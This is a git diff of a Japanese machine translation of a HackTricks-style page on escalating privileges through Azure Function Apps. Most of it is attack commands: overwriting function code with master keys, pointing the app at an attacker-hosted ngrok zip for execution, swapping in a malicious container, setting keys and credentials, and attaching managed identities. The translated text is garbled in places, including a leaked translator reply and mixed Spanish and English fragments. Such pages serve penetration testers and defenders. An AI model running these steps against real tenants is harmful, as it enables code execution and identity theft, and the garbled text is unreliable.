mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-05 20:40:18 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,34 +4,34 @@
|
||||
|
||||
## Function Apps
|
||||
|
||||
詳細については、以下のページを確認してください:
|
||||
詳細については次のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-function-apps.md
|
||||
{{#endref}}
|
||||
|
||||
### バケットの読み取り/書き込み
|
||||
### Bucket Read/Write
|
||||
|
||||
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタムまたは事前定義された名前のもの)を見つけることができ、**関数によって実行されるコード**が含まれている可能性があります。
|
||||
関数のデータを格納している Storage Account 内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタム名または事前定義された名前)を見つけ、その中に**関数が実行するコード**が含まれている可能性があります。
|
||||
|
||||
関数のコードがどこにあるかを見つけたら、それに対する書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
|
||||
関数のコードがどこにあるかを特定して、それに対して書き込み権限がある場合、関数に任意のコードを実行させ、関数に紐づく managed identities への権限昇格が可能になります。
|
||||
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` と `WEBSITE_CONTENTSHARE`)
|
||||
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
|
||||
|
||||
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して**関数に任意のコードを読み込ませる**ことができ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
|
||||
関数のコードは通常 file share 内に格納されます。十分なアクセス権があればコードファイルを改変して、関数に任意のコードを読み込ませ、Function に紐付く managed identities への権限昇格を行うことができます。
|
||||
|
||||
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは次のように取得できます。
|
||||
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
これらの設定には、Functionがコードにアクセスするために使用できる**Storage Account Key**が含まれます。
|
||||
これらの設定には、Function がコードにアクセスするために使用できる **Storage Account Key** が含まれます。
|
||||
|
||||
> [!CAUTION]
|
||||
> ファイル共有に接続して**スクリプトを変更する**のに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
> File Share に接続して実行中の **スクリプトを変更する** ための十分な権限があれば、Function 内で任意のコードを実行し権限昇格することが可能です。
|
||||
|
||||
以下の例ではmacOSを使用してファイル共有に接続しますが、ファイル共有に関する詳細情報については、次のページも確認することをお勧めします:
|
||||
以下の例は macOS を使って file share に接続する方法を示していますが、file share に関する詳細は次のページも確認することを推奨します:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-file-shares.md
|
||||
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
|
||||
```
|
||||
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
関数アプリが使用しているストレージアカウントコンテナのフォルダ `function-releases` 内に **zipリリース** が見つかることも一般的です。このコンテナは **通常 `function-releases` と呼ばれます**。
|
||||
function app が使用している Storage Account container の `function-releases` フォルダ内に **zip releases** が格納されていることもよくあります。通常、そのコンテナ名は **`function-releases`** です。
|
||||
|
||||
通常、このデプロイメント方法は次の場所に `WEBSITE_RUN_FROM_PACKAGE` 設定を行います:
|
||||
通常、このデプロイ方法は `WEBSITE_RUN_FROM_PACKAGE` 設定を次に設定します:
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group>
|
||||
```
|
||||
この設定には通常、ストレージアカウントからコードをダウンロードするための**SAS URL**が含まれます。
|
||||
This config will usually contain a **SAS URL to download** the code from the Storage Account.
|
||||
|
||||
> [!CAUTION]
|
||||
> コードが**zip**形式で含まれているBlobコンテナに接続するための十分な権限があれば、関数内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
> 十分な権限で、その**contains the code in zip**を含むblob containerに接続できる場合、Function内で任意のコードを実行して権限を昇格させることができます。
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
|
||||
|
||||
前のケースと同様に、デプロイがGithub Actionsを介して行われる場合、ストレージアカウント内にコードのzipと`WEBSITE_RUN_FROM_PACKAGE`設定内のzipへのSAS URLを含む**`github-actions-deploy`**フォルダを見つけることができます。
|
||||
前のケースと同様に、デプロイがGithub Actions経由で行われている場合、Storage Account内にコードのzipを含むフォルダ**`github-actions-deploy`**が見つかり、設定`WEBSITE_RUN_FROM_PACKAGE`にzipへのSAS URLが含まれていることがあります。
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`および`WEBSITE_CONTENTSHARE`)
|
||||
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
ストレージアカウント内の関数データを格納するコンテナを読み取る権限があれば、**`scm-releases`**コンテナを見つけることができます。そこには**Squashfsファイルシステムファイル形式**の最新リリースがあり、したがって関数のコードを読むことが可能です。
|
||||
Functionのデータを格納するStorage Account内のコンテナを読み取る権限があれば、コンテナ**`scm-releases`**を見つけられます。そこには最新のリリースが**Squashfs filesystem file format**で格納されており、そのためFunctionのコードを読むことが可能です:
|
||||
```bash
|
||||
# List containers inside the storage account of the function app
|
||||
az storage container list \
|
||||
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
|
||||
mkdir /tmp/fs
|
||||
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
|
||||
```
|
||||
**マスターおよび関数キー**は、JSONファイルの中にある**`<app-name>`**フォルダー内のコンテナ**`azure-webjobs-secrets`**に保存されていることもあります。
|
||||
ストレージアカウントのコンテナ **`azure-webjobs-secrets`** の **`<app-name>`** フォルダ内にある JSON ファイルから、**master and functions keys** を見つけられることもあります。
|
||||
|
||||
> [!CAUTION]
|
||||
> **zip拡張子のファイル**(実際には**`squashfs`**)にコードが含まれているブロブコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
|
||||
> 十分な権限でその blob container に接続でき、かつそこが **contains the code in a zip extension file**(実際には **`squashfs`**)を含んでいる場合、it's possible to execute arbitrary code in the Function and escalate privileges.
|
||||
```bash
|
||||
# Modify code inside the script in /tmp/fs adding your code
|
||||
|
||||
@@ -118,11 +118,11 @@ az storage blob upload \
|
||||
```
|
||||
### `Microsoft.Web/sites/host/listkeys/action`
|
||||
|
||||
この権限は、指定された関数の関数キー、マスターキー、およびシステムキーをリストすることを許可しますが、ホストキーは含まれません。
|
||||
この権限により、指定した function の function、master、system キーを一覧表示できますが、host キーは含まれません。次の方法で取得できます:
|
||||
```bash
|
||||
az functionapp keys list --resource-group <res_group> --name <func-name>
|
||||
```
|
||||
マスターキーを使用すると、次のようなURLでソースコードを取得することも可能です:
|
||||
master key を使うと、次のような URL でソースコードを取得することも可能です:
|
||||
```bash
|
||||
# Get "script_href" from
|
||||
az rest --method GET \
|
||||
@@ -130,70 +130,89 @@ az rest --method GET \
|
||||
|
||||
# Access
|
||||
curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
# Python function app example
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
# JavaScript function app example
|
||||
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
|
||||
```
|
||||
関数で実行されている**コードを変更する**には:
|
||||
そして、関数で実行されている**コードを変更する**には:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
## Python function app example
|
||||
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
|
||||
--data-binary @/tmp/function_app.py \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
|
||||
# NodeJS function app example
|
||||
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
|
||||
--data-binary @/tmp/index.js \
|
||||
-H "Content-Type: application/json" \
|
||||
-H "If-Match: *" \
|
||||
-v
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/listKeys/action`
|
||||
|
||||
この権限は、指定された関数のホストキーを取得することを許可します:
|
||||
この権限により、指定した関数のデフォルトキーを次の方法で取得できます:
|
||||
```bash
|
||||
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
|
||||
```
|
||||
取得した既定のキーを使用して関数を呼び出す:
|
||||
```bash
|
||||
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/host/functionKeys/write`
|
||||
|
||||
この権限は、指定された関数の関数キーを作成/更新することを許可します:
|
||||
この権限は、指定した関数の関数キーを次の内容で作成/更新することを許可します:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
### `Microsoft.Web/sites/host/masterKey/write`
|
||||
|
||||
この権限は、指定された関数にマスターキーを作成/更新することを許可します:
|
||||
このアクセス許可は、次の方法で指定された関数のマスターキーを作成/更新することを許可します:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
> [!CAUTION]
|
||||
> このキーを使用すると、前述のようにソースコードにアクセスして変更することもできることを忘れないでください!
|
||||
> このキーがあれば、前述のとおりソースコードにアクセスして変更することもできることを忘れないでください!
|
||||
|
||||
### `Microsoft.Web/sites/host/systemKeys/write`
|
||||
|
||||
この権限は、指定された関数にシステム関数キーを作成/更新することを許可します。
|
||||
This permission allows to create/update a system function key to the specified function with:
|
||||
```bash
|
||||
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
|
||||
```
|
||||
翻訳対象のファイル内容(または該当部分)と "Use the key:" の後に続くキーを貼ってください。現在、翻訳するテキストが提供されていません。
|
||||
```bash
|
||||
# Ejemplo: Acceso a endpoints de Durable Functions
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
|
||||
|
||||
# Ejemplo: Acceso a Event Grid webhooks
|
||||
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`
|
||||
|
||||
この権限は、関数の設定を取得することを許可します。これらの設定の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**完全な権限で関数のブロブストレージにアクセスするためのアカウントキー**が含まれています。
|
||||
この権限により Function の設定を取得できます。これらの設定内でデフォルト値 **`AzureWebJobsStorage`** や **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** を見つけられることがあり、これらには Function の blob storage に対して **フル権限でアクセスするためのアカウントキー** が含まれています。
|
||||
```bash
|
||||
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
|
||||
```
|
||||
さらに、この権限により、**SCM ユーザー名とパスワード**(有効な場合)を取得することもできます。
|
||||
さらに、この権限により **SCM username and password**(有効になっている場合)を次の方法で取得することもできます:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
これらの権限は、以前に見たように関数の設定値をリストすることを許可し、さらに**これらの値を変更する**ことを許可します。これは、これらの設定が関数内で実行するコードの場所を示すため、便利です。
|
||||
これらの権限は、先に見たように function の設定値を一覧表示できるだけでなく、**これらの値を変更する**ことも可能にします。これらの設定は function 内で実行されるコードがどこにあるかを示すため、**`WEBSITE_RUN_FROM_PACKAGE`** を web アプリケーション内で実行される新しいコードを含む ZIP ファイルの URL を指すように設定することができます:
|
||||
|
||||
したがって、ウェブアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**`WEBSITE_RUN_FROM_PACKAGE`**を設定することが可能です:
|
||||
|
||||
- 現在の設定を取得することから始めます。
|
||||
- まず現在の設定を取得します
|
||||
```bash
|
||||
az functionapp config appsettings list \
|
||||
--name <app-name> \
|
||||
--resource-group <res-name>
|
||||
```
|
||||
- 実行したいコードを作成し、公開ホスティングします。
|
||||
- 関数に実行させたいコードを作成し、公開してホストする
|
||||
```bash
|
||||
# Write inside /tmp/web/function_app.py the code of the function
|
||||
cd /tmp/web/function_app.py
|
||||
@@ -203,9 +222,9 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- 関数を修正し、以前のパラメータを保持し、最後にコードを含む**zip**のURLを指す設定**`WEBSITE_RUN_FROM_PACKAGE`**を追加します。
|
||||
関数を修正し、以前のパラメータは保持したまま、最後にコードを含む**zip**が置かれたURLを指す設定 **`WEBSITE_RUN_FROM_PACKAGE`** を追加してください。
|
||||
|
||||
以下は私の**設定の例で、あなたの値に変更する必要があります**。最後に値`"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`があり、ここがアプリをホスティングしていた場所です。
|
||||
以下は私の**自分の設定の例(値はご自身のものに変更してください)**です。末尾の値 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` に注目してください。ここにアプリをホストしていました。
|
||||
```bash
|
||||
# Modify the function
|
||||
az rest --method PUT \
|
||||
@@ -215,7 +234,7 @@ az rest --method PUT \
|
||||
```
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/write`
|
||||
|
||||
この権限を持つことで、**ウェブコンソールを通じてアプリケーションのコードを変更することが可能です**(または次のAPIエンドポイントを通じて):
|
||||
この権限があれば、web コンソール(または以下の API エンドポイント)を通じて、**アプリケーションのコードを変更できます**:
|
||||
```bash
|
||||
# This is a python example, so we will be overwritting function_app.py
|
||||
# Store in /tmp/body the raw python code to put in the function
|
||||
@@ -223,10 +242,29 @@ az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
|
||||
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
|
||||
--body @/tmp/body
|
||||
|
||||
# Through the SCM URL (using Azure permissions or SCM creds)
|
||||
az rest --method PUT \
|
||||
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
|
||||
--resource "https://management.azure.com/" \
|
||||
--headers "If-Match=*" \
|
||||
--body 'module.exports = async function (context, req) {
|
||||
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
|
||||
|
||||
const name = (req.query.name || (req.body && req.body.name));
|
||||
const responseMessage = name
|
||||
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
|
||||
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
|
||||
|
||||
context.res = {
|
||||
// status: 200, /* Defaults to 200 */
|
||||
body: responseMessage
|
||||
};
|
||||
}'
|
||||
```
|
||||
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
|
||||
|
||||
この権限は、基本的に**基本認証資格情報**を含むすべての公開プロファイルをリストすることを許可します:
|
||||
この権限により、基本的に**basic auth credentials**を含むすべての publishing profiles を一覧できます:
|
||||
```bash
|
||||
# Get creds
|
||||
az functionapp deployment list-publishing-profiles \
|
||||
@@ -234,15 +272,15 @@ az functionapp deployment list-publishing-profiles \
|
||||
--resource-group <res-name> \
|
||||
--output json
|
||||
```
|
||||
別のオプションは、自分のクレデンシャルを設定し、それを使用することです:
|
||||
別のオプションとして、自分の creds を設定して次のように使用することができます:
|
||||
```bash
|
||||
az functionapp deployment user set \
|
||||
--user-name DeployUser123456 g \
|
||||
--password 'P@ssw0rd123!'
|
||||
```
|
||||
- **REDACTED**の資格情報
|
||||
- **REDACTED** credentials の場合
|
||||
|
||||
その資格情報が**REDACTED**である場合、それは**SCM基本認証オプションを有効にする必要があるため**であり、そのためには2番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write:`)が必要です。
|
||||
それらの credentials が **REDACTED** と表示される場合、それは **need to enable the SCM basic authentication option** が必要で、そのために二番目の権限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)が必要だからです:
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -262,9 +300,9 @@ az rest --method PUT \
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Method SCM**
|
||||
- **方法 SCM**
|
||||
|
||||
次に、これらの**基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、環境変数の値を取得できます:**
|
||||
その後、function app の SCM URL にこれらの **basic auth credentials to the SCM URL** でアクセスし、env variables の値を取得できます:
|
||||
```bash
|
||||
# Get settings values
|
||||
curl -u '<username>:<password>' \
|
||||
@@ -277,13 +315,13 @@ https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
|
||||
|
||||
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
次のURLからウェブページにもアクセスできます: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
|
||||
|
||||
設定値には、関数アプリのデータを保存しているストレージアカウントの**AccountKey**が含まれており、そのストレージアカウントを制御することができます。
|
||||
設定値には、function app のデータを格納する storage account の **AccountKey** が含まれており、その storage account を制御することが可能です。
|
||||
|
||||
- **Method FTP**
|
||||
|
||||
FTPサーバーに接続するには:
|
||||
以下を使ってFTPサーバに接続します:
|
||||
```bash
|
||||
# macOS install lftp
|
||||
brew install lftp
|
||||
@@ -297,19 +335,19 @@ ls # List
|
||||
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
|
||||
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
|
||||
```
|
||||
_注意してください、**FTPユーザー名**は通常\<app-name>\\$\<app-name>の形式です。_
|
||||
_注意: **FTP username** は通常 \<app-name>\\$\<app-name> の形式です._
|
||||
|
||||
### `Microsoft.Web/sites/hostruntime/vfs/read`
|
||||
|
||||
この権限は、VFSを通じてアプリの**ソースコードを読み取る**ことを許可します:
|
||||
この権限により、VFS を通じてアプリの **ソースコードを読み取る** ことができます:
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
この権限を使用すると、[**管理トークン**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)を取得でき、これを使用して**マスターキー**を取得し、関数のコードにアクセスして変更することができます。
|
||||
この権限があれば、[get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) を取得でき、それを使って後に **master key** を取得し、function's code にアクセスして変更することができます。
|
||||
|
||||
ただし、私の最近の確認ではトークンは返されなかったため、無効になっているか、もはや機能していない可能性がありますが、以下がその方法です:
|
||||
ただし、私の最近の確認では token は返されませんでした。無効化されているか、動作しなくなっている可能性がありますが、以下はその実行方法です:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -321,7 +359,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
|
||||
|
||||
この権限は、無効になっている可能性のある**関数を有効にする**(または無効にする)ことを許可します。
|
||||
この権限により、無効になっている可能性のある **Functions を有効化**(または無効化)できます。
|
||||
```bash
|
||||
# Enable a disabled function
|
||||
az functionapp config appsettings set \
|
||||
@@ -329,13 +367,13 @@ az functionapp config appsettings set \
|
||||
--resource-group <res-group> \
|
||||
--settings "AzureWebJobs.http_trigger1.Disabled=false"
|
||||
```
|
||||
次のURLで関数が有効か無効かを確認することも可能です(括弧内の権限を使用):
|
||||
次の URL で、関数が有効か無効かを確認することもできます(括弧内の権限を使用):
|
||||
```bash
|
||||
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
これらの権限を持つことで、**コンテナを実行するように設定された関数アプリによって実行されるコンテナを変更する**ことが可能です。これにより、攻撃者は悪意のある Azure 関数コンテナアプリを Docker Hub にアップロードし(例えば)、その関数を実行させることができます。
|
||||
これらの権限があれば、**function app が実行するコンテナを変更することが可能です**。これにより攻撃者は悪意のある azure function container app を docker hub(例えば)にアップロードし、function app にそれを実行させることができます。
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -343,29 +381,29 @@ az functionapp config container set --name <app-name> \
|
||||
```
|
||||
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
|
||||
|
||||
これらの権限があれば、**関数に新しいユーザー管理アイデンティティをアタッチする**ことが可能です。関数が侵害された場合、これにより任意のユーザー管理アイデンティティへの権限昇格が可能になります。
|
||||
これらの権限があれば、**attach a new user managed identity to a function** が可能です。function が compromised している場合、これにより any user managed identity に対して escalate privileges することができます。
|
||||
```bash
|
||||
az functionapp identity assign \
|
||||
--name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
|
||||
```
|
||||
### リモートデバッグ
|
||||
### Remote Debugging
|
||||
|
||||
実行中の Azure 関数に接続してデバッグすることも可能です、[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azure はこのオプションを 2 日後にオフにします。
|
||||
実行中の Azure function に接続してデバッグすることも可能です([**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs))。ただし、開発者が設定を忘れて脆弱な構成のままにしてしまうのを防ぐため、既定では Azure はこのオプションを 2 日後に無効にします。
|
||||
|
||||
デバッグが有効になっているかどうかを確認するには、次のコマンドを使用します:
|
||||
Function にデバッグが有効かどうかは、次のように確認できます:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは、`Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要です)。
|
||||
権限 `Microsoft.Web/sites/config/write` を持っていると、関数をデバッグモードにすることも可能です(以下のコマンドは `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要とします)。
|
||||
```bash
|
||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
### Change Github repo
|
||||
### Github リポジトリを変更する
|
||||
|
||||
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたとしても、**新しいコードは読み込まれませんでした**(おそらくGithub Actionがコードを更新することを期待しているためです)。\
|
||||
さらに、**マネージドIDのフェデレーテッドクレデンシャルが新しいリポジトリを許可するように更新されていませんでした**ので、あまり役に立たないようです。
|
||||
次のコマンドを実行してデプロイ元の Github リポジトリを変更してみましたが、たとえ変更されても **新しいコードは読み込まれませんでした**(おそらく Github Action がコードを更新するのを期待しているためです)。\
|
||||
さらに、**managed identity federated credential が新しいリポジトリを許可するようには更新されませんでした**ので、あまり有用ではないようです。
|
||||
```bash
|
||||
# Remove current
|
||||
az functionapp deployment source delete \
|
||||
|
||||
Reference in New Issue
Block a user